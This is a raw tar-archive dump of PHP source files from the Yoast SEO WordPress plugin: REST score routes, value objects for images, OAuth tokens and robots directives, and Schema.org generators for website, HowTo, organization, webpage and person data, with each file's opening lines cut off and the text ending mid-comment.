dashboard/user-interface/scores/readability-scores-route.php 0000644 00000001545 15207625760 0020356 0 ustar 00 score_results_repository = $readability_score_results_repository;
}
}
dashboard/user-interface/scores/seo-scores-route.php 0000644 00000001415 15207625760 0016647 0 ustar 00 score_results_repository = $seo_score_results_repository;
}
}
dashboard/user-interface/scores/abstract-scores-route.php 0000644 00000016224 15207625760 0017670 0 ustar 00 content_types_collector = $content_types_collector;
}
/**
* Sets the repositories.
*
* @required
*
* @param Taxonomies_Repository $taxonomies_repository The taxonomies repository.
* @param Indexable_Repository $indexable_repository The indexable repository.
*
* @return void
*/
public function set_repositories(
Taxonomies_Repository $taxonomies_repository,
Indexable_Repository $indexable_repository
) {
$this->taxonomies_repository = $taxonomies_repository;
$this->indexable_repository = $indexable_repository;
}
/**
* Returns the route prefix.
*
* @return string The route prefix.
*
* @throws Exception If the ROUTE_PREFIX constant is not set in the child class.
*/
public static function get_route_prefix() {
$class = static::class;
$prefix = $class::ROUTE_PREFIX;
if ( $prefix === null ) {
throw new Exception( 'Score route without explicit prefix' );
}
return $prefix;
}
/**
* Registers routes for scores.
*
* @return void
*/
public function register_routes() {
\register_rest_route(
self::ROUTE_NAMESPACE,
$this->get_route_prefix(),
[
[
'methods' => 'GET',
'callback' => [ $this, 'get_scores' ],
'permission_callback' => [ $this, 'permission_manage_options' ],
'args' => [
'contentType' => [
'required' => true,
'type' => 'string',
'sanitize_callback' => 'sanitize_text_field',
],
'taxonomy' => [
'required' => false,
'type' => 'string',
'default' => '',
'sanitize_callback' => 'sanitize_text_field',
],
'term' => [
'required' => false,
'type' => 'integer',
'default' => null,
'sanitize_callback' => static function ( $param ) {
return (int) $param;
},
],
'troubleshooting' => [
'required' => false,
'type' => 'bool',
'default' => null,
'sanitize_callback' => 'rest_sanitize_boolean',
],
],
],
],
);
}
/**
* Gets the scores of a specific content type.
*
* @param WP_REST_Request $request The request object.
*
* @return WP_REST_Response The success or failure response.
*/
public function get_scores( WP_REST_Request $request ) {
try {
$content_type = $this->get_content_type( $request['contentType'] );
$taxonomy = $this->get_taxonomy( $request['taxonomy'], $content_type );
$term_id = $this->get_validated_term_id( $request['term'], $taxonomy );
$results = $this->score_results_repository->get_score_results( $content_type, $taxonomy, $term_id, $request['troubleshooting'] );
} catch ( Exception $exception ) {
return new WP_REST_Response(
[
'error' => $exception->getMessage(),
],
$exception->getCode(),
);
}
return new WP_REST_Response(
$results,
200,
);
}
/**
* Gets the content type object.
*
* @param string $content_type The content type.
*
* @return Content_Type|null The content type object.
*
* @throws Exception When the content type is invalid.
*/
protected function get_content_type( string $content_type ): ?Content_Type {
$content_types = $this->content_types_collector->get_content_types()->get();
if ( isset( $content_types[ $content_type ] ) && \is_a( $content_types[ $content_type ], Content_Type::class ) ) {
return $content_types[ $content_type ];
}
throw new Exception( 'Invalid content type.', 400 );
}
/**
* Gets the taxonomy object.
*
* @param string $taxonomy The taxonomy.
* @param Content_Type $content_type The content type that the taxonomy is filtering.
*
* @return Taxonomy|null The taxonomy object.
*
* @throws Exception When the taxonomy is invalid.
*/
protected function get_taxonomy( string $taxonomy, Content_Type $content_type ): ?Taxonomy {
if ( $taxonomy === '' ) {
return null;
}
$valid_taxonomy = $this->taxonomies_repository->get_content_type_taxonomy( $content_type->get_name() );
if ( $valid_taxonomy && $valid_taxonomy->get_name() === $taxonomy ) {
return $valid_taxonomy;
}
throw new Exception( 'Invalid taxonomy.', 400 );
}
/**
* Gets the term ID validated against the given taxonomy.
*
* @param int|null $term_id The term ID to be validated.
* @param Taxonomy|null $taxonomy The taxonomy.
*
* @return int|null The validated term ID.
*
* @throws Exception When the term id is invalidated.
*/
protected function get_validated_term_id( ?int $term_id, ?Taxonomy $taxonomy ): ?int {
if ( $term_id !== null && $taxonomy === null ) {
throw new Exception( 'Term needs a provided taxonomy.', 400 );
}
if ( $term_id === null && $taxonomy !== null ) {
throw new Exception( 'Taxonomy needs a provided term.', 400 );
}
if ( $term_id !== null ) {
$term = \get_term( $term_id );
if ( ! $term || \is_wp_error( $term ) ) {
throw new Exception( 'Invalid term.', 400 );
}
if ( $taxonomy !== null && $term->taxonomy !== $taxonomy->get_name() ) {
throw new Exception( 'Invalid term.', 400 );
}
}
return $term_id;
}
/**
* Permission callback.
*
* @return bool True when user has the 'wpseo_manage_options' capability.
*/
public function permission_manage_options() {
return WPSEO_Capability_Utils::current_user_can( 'wpseo_manage_options' );
}
}
values/indexables/indexable-builder-versions.php 0000644 00000002606 15207625760 0016135 0 ustar 00 self::DEFAULT_INDEXABLE_BUILDER_VERSION,
'general' => self::DEFAULT_INDEXABLE_BUILDER_VERSION,
'home-page' => 2,
'post' => 2,
'post-type-archive' => 2,
'term' => 2,
'user' => 2,
'system-page' => self::DEFAULT_INDEXABLE_BUILDER_VERSION,
];
/**
* Provides the most recent version number for an Indexable's object type.
*
* @param string $object_type The Indexable type for which you want to know the most recent version.
*
* @return int The most recent version number for the type, or 1 if the version doesn't exist.
*/
public function get_latest_version_for_type( $object_type ) {
if ( ! \array_key_exists( $object_type, $this->indexable_builder_versions_by_type ) ) {
return self::DEFAULT_INDEXABLE_BUILDER_VERSION;
}
return $this->indexable_builder_versions_by_type[ $object_type ];
}
}
values/twitter/images.php 0000644 00000001720 15207625760 0011535 0 ustar 00 twitter_image = $twitter_image;
}
/**
* Adds an image to the list by image ID.
*
* @param int $image_id The image ID to add.
*
* @return void
*/
public function add_image_by_id( $image_id ) {
$attachment = $this->twitter_image->get_by_id( $image_id );
if ( $attachment ) {
$this->add_image( $attachment );
}
}
}
values/oauth/oauth-token.php 0000644 00000006221 15207625760 0012145 0 ustar 00 access_token = $access_token;
if ( empty( $refresh_token ) ) {
throw new Empty_Property_Exception( 'refresh_token' );
}
$this->refresh_token = $refresh_token;
if ( empty( $expires ) ) {
throw new Empty_Property_Exception( 'expires' );
}
$this->expires = $expires;
if ( $has_expired === null ) {
throw new Empty_Property_Exception( 'has_expired' );
}
$this->has_expired = $has_expired;
$this->created_at = $created_at;
$this->error_count = $error_count;
}
/**
* Creates a new instance based on the passed response.
*
* @param AccessTokenInterface $response The response object to create a new instance from.
*
* @return OAuth_Token The token object.
*
* @throws Empty_Property_Exception Exception thrown if a token property is empty.
*/
public static function from_response( AccessTokenInterface $response ) {
return new self(
$response->getToken(),
$response->getRefreshToken(),
$response->getExpires(),
$response->hasExpired(),
\time(),
);
}
/**
* Determines whether or not the token has expired.
*
* @return bool Whether or not the token has expired.
*/
public function has_expired() {
return ( \time() >= $this->expires ) || $this->has_expired === true;
}
/**
* Converts the object to an array.
*
* @return array The converted object.
*/
public function to_array() {
return [
'access_token' => $this->access_token,
'refresh_token' => $this->refresh_token,
'expires' => $this->expires,
'has_expired' => $this->has_expired(),
'created_at' => $this->created_at,
'error_count' => $this->error_count,
];
}
}
values/images.php 0000644 00000005420 15207625760 0010034 0 ustar 00 image = $image;
$this->url = $url;
}
/**
* Adds an image to the list by image ID.
*
* @param int $image_id The image ID to add.
*
* @return void
*/
public function add_image_by_id( $image_id ) {
$image = $this->image->get_attachment_image_source( $image_id, $this->image_size );
if ( $image ) {
$this->add_image( $image );
}
}
/**
* Adds an image to the list by image ID.
*
* @param string $image_meta JSON encoded image meta.
*
* @return void
*/
public function add_image_by_meta( $image_meta ) {
$this->add_image( (array) \json_decode( $image_meta ) );
}
/**
* Return the images array.
*
* @return array The images.
*/
public function get_images() {
return $this->images;
}
/**
* Check whether we have images or not.
*
* @return bool True if we have images, false if we don't.
*/
public function has_images() {
return ! empty( $this->images );
}
/**
* Adds an image based on a given URL.
*
* @param string $url The given URL.
*
* @return number|null Returns the found image ID if it exists. Otherwise -1.
* If the URL is empty we return null.
*/
public function add_image_by_url( $url ) {
if ( empty( $url ) ) {
return null;
}
$image_id = $this->image->get_attachment_by_url( $url );
if ( $image_id ) {
$this->add_image_by_id( $image_id );
return $image_id;
}
$this->add_image( $url );
return -1;
}
/**
* Adds an image to the list of images.
*
* @param string|array $image Image array.
*
* @return void
*/
public function add_image( $image ) {
if ( \is_string( $image ) ) {
$image = [ 'url' => $image ];
}
if ( ! \is_array( $image ) || empty( $image['url'] ) || ! \is_string( $image['url'] ) ) {
return;
}
if ( $this->url->is_relative( $image['url'] ) && $image['url'][0] === '/' ) {
$image['url'] = $this->url->build_absolute_url( $image['url'] );
}
if ( \array_key_exists( $image['url'], $this->images ) ) {
return;
}
$this->images[ $image['url'] ] = $image;
}
}
values/robots/user-agent.php 0000644 00000003226 15207625761 0012154 0 ustar 00 user_agent = $user_agent;
$this->allow_directive = new Directive();
$this->disallow_directive = new Directive();
}
/**
* Gets the user agent identifier.
*
* @return string
*/
public function get_user_agent() {
return $this->user_agent;
}
/**
* Adds a path to the directive object.
*
* @param string $path The path to add to the disallow directive.
*
* @return void
*/
public function add_disallow_directive( $path ) {
$this->disallow_directive->add_path( $path );
}
/**
* Adds a path to the directive object.
*
* @param string $path The path to add to the allow directive.
*
* @return void
*/
public function add_allow_directive( $path ) {
$this->allow_directive->add_path( $path );
}
/**
* Gets all disallow paths for this user agent.
*
* @return array
*/
public function get_disallow_paths() {
return $this->disallow_directive->get_paths();
}
/**
* Gets all sallow paths for this user agent.
*
* @return array
*/
public function get_allow_paths() {
return $this->allow_directive->get_paths();
}
}
values/robots/user-agent-list.php 0000644 00000003410 15207625761 0013120 0 ustar 00 user_agent_list = [];
}
/**
* Checks if given user_agent is already registered.
*
* @param string $user_agent The user agent identifier.
*
* @return bool
*/
public function has_user_agent( $user_agent ) {
return \array_key_exists( $user_agent, $this->user_agent_list );
}
/**
* Gets the user agent object. If it is not yet registered it creates it.
*
* @param string $user_agent The user agent identifier.
*
* @return User_Agent
*/
public function get_user_agent( $user_agent ) {
if ( $this->has_user_agent( $user_agent ) ) {
return $this->user_agent_list[ $user_agent ];
}
$this->user_agent_list[ $user_agent ] = new User_Agent( $user_agent );
return $this->user_agent_list[ $user_agent ];
}
/**
* Gets the list of user agents.
*
* @return array
*/
public function get_user_agents() {
return $this->user_agent_list;
}
/**
* Gets a list of all disallow directives by user agent.
*
* @return array
*/
public function get_disallow_directives() {
$directives = [];
foreach ( $this->user_agent_list as $user_agent ) {
$directives[ $user_agent->get_user_agent() ] = $user_agent->get_disallow_paths();
}
return $directives;
}
/**
* Gets a list of all sallow directives by user agent.
*
* @return array
*/
public function get_allow_directives() {
$directives = [];
foreach ( $this->user_agent_list as $user_agent ) {
$directives[ $user_agent->get_user_agent() ] = $user_agent->get_allow_paths();
}
return $directives;
}
}
values/robots/directive.php 0000644 00000001225 15207625761 0012055 0 ustar 00 paths = [];
}
/**
* Adds a path to the directive path list.
*
* @param string $path A path to add in the path list.
*
* @return void
*/
public function add_path( $path ) {
if ( ! \in_array( $path, $this->paths, true ) ) {
$this->paths[] = $path;
}
}
/**
* Returns all paths.
*
* @return array
*/
public function get_paths() {
return $this->paths;
}
}
values/open-graph/images.php 0000644 00000002232 15207625761 0012073 0 ustar 00 open_graph_image = $open_graph_image;
}
/**
* Outputs the images.
*
* @codeCoverageIgnore - The method is empty, nothing to test.
*
* @return void
*/
public function show() {}
/**
* Adds an image to the list by image ID.
*
* @param int $image_id The image ID to add.
*
* @return void
*/
public function add_image_by_id( $image_id ) {
$attachment = $this->open_graph_image->get_image_by_id( $image_id );
if ( $attachment ) {
$this->add_image( $attachment );
}
}
}
generators/twitter-image-generator.php 0000644 00000004735 15207625761 0014220 0 ustar 00 image = $image;
$this->url = $url;
$this->twitter_image = $twitter_image;
}
/**
* Retrieves the images for an indexable.
*
* @param Meta_Tags_Context $context The context.
*
* @return array> The images.
*/
public function generate( Meta_Tags_Context $context ) {
$image_container = $this->get_image_container();
$this->add_from_indexable( $context->indexable, $image_container );
return $image_container->get_images();
}
/**
* Adds an image based on the given indexable.
*
* @param Indexable $indexable The indexable.
* @param Images $image_container The image container.
*
* @return void
*/
protected function add_from_indexable( Indexable $indexable, Images $image_container ) {
if ( $indexable->twitter_image_id ) {
$image_container->add_image_by_id( $indexable->twitter_image_id );
return;
}
if ( $indexable->twitter_image ) {
$image_container->add_image_by_url( $indexable->twitter_image );
}
}
/**
* Retrieves an instance of the image container.
*
* @codeCoverageIgnore
*
* @return Images The image container.
*/
protected function get_image_container() {
$image_container = new Images( $this->image, $this->url );
$image_container->image_size = $this->twitter_image->get_image_size();
$image_container->set_helpers( $this->twitter_image );
return $image_container;
}
}
generators/generator-interface.php 0000644 00000000544 15207625761 0013370 0 ustar 00 context->canonical . Schema_IDs::PRIMARY_IMAGE_HASH;
// The featured image.
if ( $this->context->main_image_id ) {
$generated_schema = $this->helpers->schema->image->generate_from_attachment_id( $image_id, $this->context->main_image_id );
$this->context->main_image_url = $generated_schema['url'];
return $generated_schema;
}
// The first image in the content.
if ( $this->context->main_image_url ) {
return $this->helpers->schema->image->generate_from_url( $image_id, $this->context->main_image_url );
}
return false;
}
}
generators/schema/website.php 0000644 00000005323 15207625761 0012346 0 ustar 00 'WebSite',
'@id' => $this->context->site_url . Schema_IDs::WEBSITE_HASH,
'url' => $this->context->site_url,
'name' => $this->helpers->schema->html->smart_strip_tags( $this->context->site_name ),
'description' => \get_bloginfo( 'description' ),
];
if ( $this->context->site_represents_reference ) {
$data['publisher'] = $this->context->site_represents_reference;
}
$data = $this->add_alternate_name( $data );
$data = $this->internal_search_section( $data );
$data = $this->helpers->schema->language->add_piece_language( $data );
return $data;
}
/**
* Returns an alternate name if one was specified in the Yoast SEO settings.
*
* @param array $data The website data array.
*
* @return array
*/
private function add_alternate_name( $data ) {
if ( $this->context->alternate_site_name !== '' ) {
$data['alternateName'] = $this->helpers->schema->html->smart_strip_tags( $this->context->alternate_site_name );
}
return $data;
}
/**
* Adds the internal search JSON LD code to the homepage if it's not disabled.
*
* @link https://developers.google.com/search/docs/data-types/sitelinks-searchbox
*
* @param array $data The website data array.
*
* @return array
*/
private function internal_search_section( $data ) {
/**
* Filter: 'disable_wpseo_json_ld_search' - Allow disabling of the json+ld output.
*
* @param bool $display_search Whether or not to display json+ld search on the frontend.
*/
if ( \apply_filters( 'disable_wpseo_json_ld_search', false ) ) {
return $data;
}
/**
* Filter: 'wpseo_json_ld_search_url' - Allows filtering of the search URL for Yoast SEO.
*
* @param string $search_url The search URL for this site with a `{search_term_string}` variable.
*/
$search_url = \apply_filters( 'wpseo_json_ld_search_url', $this->context->site_url . '?s={search_term_string}' );
$data['potentialAction'][] = [
'@type' => 'SearchAction',
'target' => [
'@type' => 'EntryPoint',
'urlTemplate' => $search_url,
],
'query-input' => [
'@type' => 'PropertyValueSpecification',
'valueRequired' => true,
'valueName' => 'search_term_string',
],
];
return $data;
}
}
generators/schema/howto.php 0000644 00000013372 15207625761 0012047 0 ustar 00 context->blocks['yoast/how-to-block'] );
}
/**
* Renders a list of questions, referencing them by ID.
*
* @return array Our Schema graph.
*/
public function generate() {
$graph = [];
foreach ( $this->context->blocks['yoast/how-to-block'] as $index => $block ) {
$this->add_how_to( $graph, $block, $index );
}
return $graph;
}
/**
* Adds the duration of the task to the Schema.
*
* @param array $data Our How-To schema data.
* @param array $attributes The block data attributes.
*
* @return void
*/
private function add_duration( &$data, $attributes ) {
if ( empty( $attributes['hasDuration'] ) ) {
return;
}
$days = empty( $attributes['days'] ) ? 0 : $attributes['days'];
$hours = empty( $attributes['hours'] ) ? 0 : $attributes['hours'];
$minutes = empty( $attributes['minutes'] ) ? 0 : $attributes['minutes'];
if ( ( $days + $hours + $minutes ) > 0 ) {
$data['totalTime'] = \esc_attr( 'P' . $days . 'DT' . $hours . 'H' . $minutes . 'M' );
}
}
/**
* Adds the steps to our How-To output.
*
* @param array $data Our How-To schema data.
* @param array $steps Our How-To block's steps.
*
* @return void
*/
private function add_steps( &$data, $steps ) {
foreach ( $steps as $step ) {
$schema_id = $this->context->canonical . '#' . \esc_attr( $step['id'] );
$schema_step = [
'@type' => 'HowToStep',
'url' => $schema_id,
];
if ( isset( $step['jsonText'] ) ) {
$json_text = $this->helpers->schema->html->sanitize( $step['jsonText'] );
}
if ( isset( $step['jsonName'] ) ) {
$json_name = $this->helpers->schema->html->smart_strip_tags( $step['jsonName'] );
}
if ( empty( $json_name ) ) {
if ( empty( $step['text'] ) ) {
continue;
}
$schema_step['text'] = '';
$this->add_step_image( $schema_step, $step );
// If there is no text and no image, don't output the step.
if ( empty( $json_text ) && empty( $schema_step['image'] ) ) {
continue;
}
if ( ! empty( $json_text ) ) {
$schema_step['text'] = $json_text;
}
}
elseif ( empty( $json_text ) ) {
$schema_step['text'] = $json_name;
}
else {
$schema_step['name'] = $json_name;
$this->add_step_description( $schema_step, $json_text );
$this->add_step_image( $schema_step, $step );
}
$data['step'][] = $schema_step;
}
}
/**
* Checks if we have a step description, if we do, add it.
*
* @param array $schema_step Our Schema output for the Step.
* @param string $json_text The step text.
*
* @return void
*/
private function add_step_description( &$schema_step, $json_text ) {
// Decode HTML entities.
$json_text = \html_entity_decode( $json_text );
// Remove the image from the text if it exists. Search and replace the img tag.
$json_text = \preg_replace( '/]+>/i', '', $json_text );
// Trim whitespace.
$json_text = \trim( $json_text );
$schema_step['itemListElement'] = [
[
'@type' => 'HowToDirection',
'text' => $json_text,
],
];
}
/**
* Checks if we have a step image, if we do, add it.
*
* @param array $schema_step Our Schema output for the Step.
* @param array $step The step block data.
*
* @return void
*/
private function add_step_image( &$schema_step, $step ) {
if ( isset( $step['images'] ) && \is_array( $step['images'] ) ) {
foreach ( $step['images'] as $image ) {
if ( isset( $image['type'] ) && $image['type'] === 'img' ) {
$schema_step['image'] = $this->get_image_schema( \esc_url( $image['props']['src'] ) );
}
}
}
elseif ( isset( $step['text'] ) && \is_array( $step['text'] ) ) {
// Backwards compatibility for older How-To blocks.
foreach ( $step['text'] as $line ) {
if ( \is_array( $line ) && isset( $line['type'] ) && $line['type'] === 'img' ) {
$schema_step['image'] = $this->get_image_schema( \esc_url( $line['props']['src'] ) );
}
}
}
}
/**
* Generates the HowTo schema for a block.
*
* @param array $graph Our Schema data.
* @param array $block The How-To block content.
* @param int $index The index of the current block.
*
* @return void
*/
protected function add_how_to( &$graph, $block, $index ) {
$data = [
'@type' => 'HowTo',
'@id' => $this->context->canonical . '#howto-' . ( $index + 1 ),
'name' => $this->helpers->schema->html->smart_strip_tags( $this->helpers->post->get_post_title_with_fallback( $this->context->id ) ),
'mainEntityOfPage' => [ '@id' => $this->context->main_schema_id ],
'description' => '',
];
if ( $this->context->has_article ) {
$data['mainEntityOfPage'] = [ '@id' => $this->context->main_schema_id . Schema_IDs::ARTICLE_HASH ];
}
if ( isset( $block['attrs']['jsonDescription'] ) ) {
$data['description'] = $this->helpers->schema->html->sanitize( $block['attrs']['jsonDescription'] );
}
$this->add_duration( $data, $block['attrs'] );
if ( isset( $block['attrs']['steps'] ) ) {
$this->add_steps( $data, $block['attrs']['steps'] );
}
$data = $this->helpers->schema->language->add_piece_language( $data );
$graph[] = $data;
}
/**
* Generates the image schema from the attachment $url.
*
* @param string $url Attachment url.
*
* @return array Image schema.
*/
protected function get_image_schema( $url ) {
$schema_id = $this->context->canonical . '#schema-image-' . \md5( $url );
return $this->helpers->schema->image->generate_from_url( $schema_id, $url );
}
}
generators/schema/abstract-schema-piece.php 0000644 00000001432 15207625761 0015025 0 ustar 00 context->site_represents === 'company';
}
/**
* Returns the Organization Schema data.
*
* @return array The Organization schema.
*/
public function generate() {
$logo_schema_id = $this->context->site_url . Schema_IDs::ORGANIZATION_LOGO_HASH;
if ( $this->context->company_logo_meta ) {
$logo = $this->helpers->schema->image->generate_from_attachment_meta( $logo_schema_id, $this->context->company_logo_meta, $this->context->company_name );
}
else {
$logo = $this->helpers->schema->image->generate_from_attachment_id( $logo_schema_id, $this->context->company_logo_id, $this->context->company_name );
}
$organization = [
'@type' => 'Organization',
'@id' => $this->context->site_url . Schema_IDs::ORGANIZATION_HASH,
'name' => $this->helpers->schema->html->smart_strip_tags( $this->context->company_name ),
];
if ( ! empty( $this->context->company_alternate_name ) ) {
$organization['alternateName'] = $this->context->company_alternate_name;
}
$organization['url'] = $this->context->site_url;
$organization['logo'] = $logo;
$organization['image'] = [ '@id' => $logo['@id'] ];
$same_as = \array_values( \array_unique( \array_filter( $this->fetch_social_profiles() ) ) );
if ( ! empty( $same_as ) ) {
$organization['sameAs'] = $same_as;
}
if ( \is_array( $this->context->schema_page_type ) && \in_array( 'ProfilePage', $this->context->schema_page_type, true ) ) {
$organization['mainEntityOfPage'] = [
'@id' => $this->context->main_schema_id,
];
}
return $organization;
}
/**
* Retrieve the social profiles to display in the organization schema.
*
* @return array An array of social profiles.
*/
private function fetch_social_profiles() {
$profiles = $this->helpers->social_profiles->get_organization_social_profiles();
if ( isset( $profiles['other_social_urls'] ) ) {
$other_social_urls = $profiles['other_social_urls'];
unset( $profiles['other_social_urls'] );
$profiles = \array_merge( $profiles, $other_social_urls );
}
/**
* Filter: 'wpseo_schema_organization_social_profiles' - Allows filtering social profiles for the
* represented organization.
*
* @param string[] $profiles
*/
$profiles = \apply_filters( 'wpseo_schema_organization_social_profiles', $profiles );
return $profiles;
}
}
generators/schema/webpage.php 0000644 00000011613 15207625761 0012315 0 ustar 00 context->indexable->object_type === 'unknown' ) {
return false;
}
return ! ( $this->context->indexable->object_type === 'system-page' && $this->context->indexable->object_sub_type === '404' );
}
/**
* Returns WebPage schema data.
*
* @return array> WebPage schema data.
*/
public function generate() {
$data = [
'@type' => $this->context->schema_page_type,
'@id' => $this->context->main_schema_id,
'url' => $this->context->canonical,
'name' => $this->helpers->schema->html->smart_strip_tags( $this->context->title ),
'isPartOf' => [
'@id' => $this->context->site_url . Schema_IDs::WEBSITE_HASH,
],
];
if ( empty( $this->context->canonical ) && \is_search() ) {
$data['url'] = $this->build_search_url();
}
if ( $this->helpers->current_page->is_front_page() ) {
if ( $this->context->site_represents_reference ) {
$data['about'] = $this->context->site_represents_reference;
}
}
$data = $this->add_image( $data );
if ( $this->context->indexable->object_type === 'post' ) {
$data['datePublished'] = $this->helpers->date->format( $this->context->post->post_date_gmt );
if ( \strtotime( $this->context->post->post_modified_gmt ) > \strtotime( $this->context->post->post_date_gmt ) ) {
$data['dateModified'] = $this->helpers->date->format( $this->context->post->post_modified_gmt );
}
if ( $this->context->indexable->object_sub_type === 'post' ) {
$data = $this->add_author( $data, $this->context->post );
}
}
if ( ! empty( $this->context->description ) ) {
$data['description'] = $this->helpers->schema->html->smart_strip_tags( $this->context->description );
}
if ( $this->add_breadcrumbs() ) {
$data['breadcrumb'] = [
'@id' => $this->context->canonical . Schema_IDs::BREADCRUMB_HASH,
];
}
if ( ! empty( $this->context->main_entity_of_page ) ) {
$data['mainEntity'] = $this->context->main_entity_of_page;
}
$data = $this->helpers->schema->language->add_piece_language( $data );
$data = $this->add_potential_action( $data );
return $data;
}
/**
* Adds an author property to the $data if the WebPage is not represented.
*
* @param array> $data The WebPage schema.
* @param WP_Post $post The post the context is representing.
*
* @return array> The WebPage schema.
*/
public function add_author( $data, $post ) {
if ( $this->context->site_represents === false ) {
$data['author'] = [ '@id' => $this->helpers->schema->id->get_user_schema_id( $post->post_author, $this->context ) ];
}
return $data;
}
/**
* If we have an image, make it the primary image of the page.
*
* @param array> $data WebPage schema data.
*
* @return array>
*/
public function add_image( $data ) {
if ( $this->context->has_image ) {
$data['primaryImageOfPage'] = [ '@id' => $this->context->canonical . Schema_IDs::PRIMARY_IMAGE_HASH ];
$data['image'] = [ '@id' => $this->context->canonical . Schema_IDs::PRIMARY_IMAGE_HASH ];
$data['thumbnailUrl'] = $this->context->main_image_url;
}
return $data;
}
/**
* Determine if we should add a breadcrumb attribute.
*
* @return bool
*/
private function add_breadcrumbs() {
if ( $this->context->indexable->object_type === 'system-page' && $this->context->indexable->object_sub_type === '404' ) {
return false;
}
return true;
}
/**
* Adds the potential action property to the WebPage Schema piece.
*
* @param array> $data The WebPage data.
*
* @return array> The WebPage data with the potential action added.
*/
private function add_potential_action( $data ) {
$url = $this->context->canonical;
if ( $data['@type'] === 'CollectionPage' || ( \is_array( $data['@type'] ) && \in_array( 'CollectionPage', $data['@type'], true ) ) ) {
return $data;
}
/**
* Filter: 'wpseo_schema_webpage_potential_action_target' - Allows filtering of the schema WebPage potentialAction target.
*
* @param array $targets The URLs for the WebPage potentialAction target.
*/
$targets = \apply_filters( 'wpseo_schema_webpage_potential_action_target', [ $url ] );
$data['potentialAction'][] = [
'@type' => 'ReadAction',
'target' => $targets,
];
return $data;
}
/**
* Creates the search URL for use when if there is no canonical.
*
* @return string Search URL.
*/
private function build_search_url() {
return $this->context->site_url . '?s=' . \rawurlencode( \get_search_query() );
}
}
generators/schema/person.php 0000644 00000023343 15207625762 0012215 0 ustar 00 site_represents_current_author() ) {
return false;
}
return $this->context->site_represents === 'person';
}
/**
* Returns Person Schema data.
*
* @return bool|array Person data on success, false on failure.
*/
public function generate() {
$user_id = $this->determine_user_id();
if ( ! $user_id ) {
return false;
}
return $this->build_person_data( $user_id );
}
/**
* Determines a User ID for the Person data.
*
* @return bool|int User ID or false upon return.
*/
protected function determine_user_id() {
/**
* Filter: 'wpseo_schema_person_user_id' - Allows filtering of user ID used for person output.
*
* @param int|bool $user_id The user ID currently determined.
*/
$user_id = \apply_filters( 'wpseo_schema_person_user_id', $this->context->site_user_id );
// It should to be an integer higher than 0.
if ( \is_int( $user_id ) && $user_id > 0 ) {
return $user_id;
}
return false;
}
/**
* Retrieve a list of social profile URLs for Person.
*
* @param string[] $same_as_urls Array of SameAs URLs.
* @param int $user_id User ID.
*
* @return string[] A list of SameAs URLs.
*/
protected function get_social_profiles( $same_as_urls, $user_id ) {
/**
* Filter: 'wpseo_schema_person_social_profiles' - Allows filtering of social profiles per user.
*
* @param string[] $social_profiles The array of social profiles to retrieve. Each should be a user meta field
* key. As they are retrieved using the WordPress function `get_the_author_meta`.
* @param int $user_id The current user we're grabbing social profiles for.
*/
$social_profiles = \apply_filters( 'wpseo_schema_person_social_profiles', $this->social_profiles, $user_id );
// We can only handle an array.
if ( ! \is_array( $social_profiles ) ) {
return $same_as_urls;
}
foreach ( $social_profiles as $profile ) {
// Skip non-string values.
if ( ! \is_string( $profile ) ) {
continue;
}
$social_url = $this->url_social_site( $profile, $user_id );
if ( $social_url ) {
$same_as_urls[] = $social_url;
}
}
return $same_as_urls;
}
/**
* Builds our array of Schema Person data for a given user ID.
*
* @param int $user_id The user ID to use.
* @param bool $add_hash Wether or not the person's image url hash should be added to the image id.
*
* @return array An array of Schema Person data.
*/
protected function build_person_data( $user_id, $add_hash = false ) {
$user_data = \get_userdata( $user_id );
$data = [
'@type' => $this->type,
'@id' => $this->helpers->schema->id->get_user_schema_id( $user_id, $this->context ),
];
// Safety check for the `get_userdata` WP function, which could return false.
if ( $user_data === false ) {
return $data;
}
$data['name'] = $this->helpers->schema->html->smart_strip_tags( $user_data->display_name );
$pronouns = $this->helpers->schema->html->smart_strip_tags( \get_the_author_meta( 'wpseo_pronouns', $user_id ) );
if ( ! empty( $pronouns ) ) {
$data['pronouns'] = $pronouns;
}
$data = $this->add_image( $data, $user_data, $add_hash );
if ( ! empty( $user_data->description ) ) {
$data['description'] = $this->helpers->schema->html->smart_strip_tags( $user_data->description );
}
if ( \is_array( $this->context->schema_page_type ) && \in_array( 'ProfilePage', $this->context->schema_page_type, true ) ) {
$data['mainEntityOfPage'] = [
'@id' => $this->context->main_schema_id,
];
}
$data = $this->add_same_as_urls( $data, $user_data, $user_id );
/**
* Filter: 'wpseo_schema_person_data' - Allows filtering of schema data per user.
*
* @param array $data The schema data we have for this person.
* @param int $user_id The current user we're collecting schema data for.
*/
$data = \apply_filters( 'wpseo_schema_person_data', $data, $user_id );
return $data;
}
/**
* Returns an ImageObject for the persons avatar.
*
* @param array $data The Person schema.
* @param WP_User $user_data User data.
* @param bool $add_hash Wether or not the person's image url hash should be added to the image id.
*
* @return array The Person schema.
*/
protected function add_image( $data, $user_data, $add_hash = false ) {
$schema_id = $this->context->site_url . Schema_IDs::PERSON_LOGO_HASH;
$data = $this->set_image_from_options( $data, $schema_id, $add_hash, $user_data );
if ( ! isset( $data['image'] ) ) {
$data = $this->set_image_from_avatar( $data, $user_data, $schema_id, $add_hash );
}
if ( \is_array( $this->type ) && \in_array( 'Organization', $this->type, true ) ) {
$data_logo = ( $data['image']['@id'] ?? $schema_id );
$data['logo'] = [ '@id' => $data_logo ];
}
return $data;
}
/**
* Generate the person image from our settings.
*
* @param array $data The Person schema.
* @param string $schema_id The string used in the `@id` for the schema.
* @param bool $add_hash Whether or not the person's image url hash should be added to the image id.
* @param WP_User|null $user_data User data.
*
* @return array The Person schema.
*/
protected function set_image_from_options( $data, $schema_id, $add_hash = false, $user_data = null ) {
if ( $this->context->site_represents !== 'person' ) {
return $data;
}
if ( \is_array( $this->context->person_logo_meta ) ) {
$data['image'] = $this->helpers->schema->image->generate_from_attachment_meta( $schema_id, $this->context->person_logo_meta, $data['name'], $add_hash );
}
return $data;
}
/**
* Generate the person logo from gravatar.
*
* @param array $data The Person schema.
* @param WP_User $user_data User data.
* @param string $schema_id The string used in the `@id` for the schema.
* @param bool $add_hash Wether or not the person's image url hash should be added to the image id.
*
* @return array The Person schema.
*/
protected function set_image_from_avatar( $data, $user_data, $schema_id, $add_hash = false ) {
// If we don't have an image in our settings, fall back to an avatar, if we're allowed to.
$show_avatars = \get_option( 'show_avatars' );
if ( ! $show_avatars ) {
return $data;
}
$url = \get_avatar_url( $user_data->user_email );
if ( empty( $url ) ) {
return $data;
}
$data['image'] = $this->helpers->schema->image->simple_image_object( $schema_id, $url, $user_data->display_name, $add_hash );
return $data;
}
/**
* Returns an author's social site URL.
*
* @param string $social_site The social site to retrieve the URL for.
* @param int|false $user_id The user ID to use function outside of the loop.
*
* @return string
